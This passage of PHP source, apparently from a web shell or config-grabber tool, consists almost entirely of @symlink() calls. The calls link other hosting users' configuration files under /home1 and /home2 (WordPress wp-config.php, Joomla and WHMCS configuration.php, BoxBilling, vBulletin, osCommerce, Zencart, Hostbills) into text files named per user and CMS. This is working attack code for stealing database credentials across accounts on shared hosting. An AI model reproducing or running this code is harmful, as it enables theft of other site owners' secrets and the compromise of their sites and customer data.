1608@symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
1609@symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
1610@symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
1611@symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
1612@symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
1613@symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
1614@symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
1615@symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
1616@symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
1617@symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
1618@symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
1619@symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
1620@symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
1621@symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
1622@symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
1623@symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
1624@symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
1625@symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
1626@symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
1627@symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
1628@symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
1629@symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
1630@symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
1631@symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
1632@symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
1633@symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
1634@symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
1635@symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
1636@symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
1637@symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
1638@symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
1639@symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
1640@symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
1641@symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
1642@symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
1643@symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
1644@symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
1645@symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
1646@symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
1647@symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
1648@symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
1649@symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
1650@symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
1651@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1652@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1653@symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
1654@symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
1655@symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
1656@symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
1657@symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
1658@symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
1659@symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
1660@symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
1661@symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
1662@symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
1663@symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
1664@symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
1665@symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
1666@symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
1667@symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
1668@symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
1669@symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
1670@symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
1671@symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
1672@symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
1673@symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
1674@symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
1675@symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
1676@symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
1677@symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
1678@symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
1679@symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
1680@symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
1681@symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
1682@symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
1683@symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
1684@symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
1685@symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
1686@symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
1687@symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
1688@symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
1689@symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
1690@symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
1691@symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
1692@symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
1693@symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
1694@symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
1695@symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
1696@symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
1697@symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
1698@symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
1699@symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
1700@symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
1701@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1702@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1703@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1704@symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
1705@symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
1706@symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
1707@symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
1708@symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
1709@symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
1710@symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
1711@symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
1712@symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
1713@symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
1714@symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
1715@symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
1716@symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
1717@symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
1718@symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
1719@symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
1720@symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
1721@symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
1722@symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
1723@symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
1724@symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
1725@symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
1726@symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
1727@symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
1728@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1729@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1730@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1731@symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
1732@symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
1733@symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
1734@symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
1735@symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
1736@symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
1737@symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
1738@symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
1739@symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
1740@symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
1741@symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
1742@symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
1743@symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
1744@symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
1745@symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
1746@symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
1747@symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
1748@symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
1749@symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
1750@symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
1751@symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
1752@symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
1753@symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
1754@symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
1755@symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
1756@symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
1757@symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
1758@symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
1759@symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
1760@symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
1761@symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
1762@symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
1763@symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
1764@symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
1765@symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
1766@symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
1767@symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
1768@symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
1769@symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
1770@symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
1771@symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
1772@symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
1773@symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
1774@symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
1775@symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
1776@symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
1777@symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
1778@symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
1779@symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
1780@symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
1781@symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
1782
1783//Home2
1784
1785@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
1786@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
1787@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
1788@symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
1789@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
1790@symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
1791@symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
1792@symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
1793@symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
1794@symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
1795@symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
1796@symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
1797@symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
1798@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
1799@symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
1800@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
1801@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
1802@symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
1803@symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
1804@symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
1805@symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
1806@symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
1807@symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
1808@symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
1809@symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
1810@symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
1811@symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
1812@symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
1813@symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
1814@symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
1815@symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
1816@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
1817@symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
1818@symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
1819@symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
1820@symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
1821@symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
1822@symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
1823@symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
1824@symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
1825@symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
1826@symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
1827@symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
1828@symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
1829@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
1830@symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
1831@symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
1832@symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
1833@symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
1834@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1835@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
1836@symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
1837@symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
1838@symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
1839@symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
1840@symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
1841@symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
1842@symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
1843@symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
1844@symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
1845@symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
1846@symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
1847@symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
1848@symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
1849@symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
1850@symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
1851@symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
1852@symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
1853@symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
1854@symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
1855@symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
1856@symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
1857@symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
1858@symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
1859@symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
1860@symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
1861@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
1862@symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
1863@symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
1864@symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
1865@symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
1866@symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
1867@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
1868@symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
1869@symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
1870@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
1871@symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
1872@symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
1873@symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
1874@symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
1875@symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
1876@symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
1877@symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
1878@symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
1879@symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
1880@symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
1881@symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
1882@symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
1883@symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
1884@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1885@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1886@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1887@symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
1888@symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
1889@symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
1890@symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
1891@symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
1892@symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
1893@symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
1894@symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
1895@symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
1896@symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
1897@symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
1898@symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
1899@symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
1900@symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
1901@symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
1902@symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
1903@symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
1904@symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
1905@symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
1906@symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
1907@symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
1908@symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
1909@symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
1910@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
1911@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
1912@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
1913@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
1914@symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
1915@symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
1916@symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
1917@symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
1918@symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
1919@symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
1920@symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
1921@symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
1922@symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
1923@symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
1924@symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
1925@symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
1926@symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
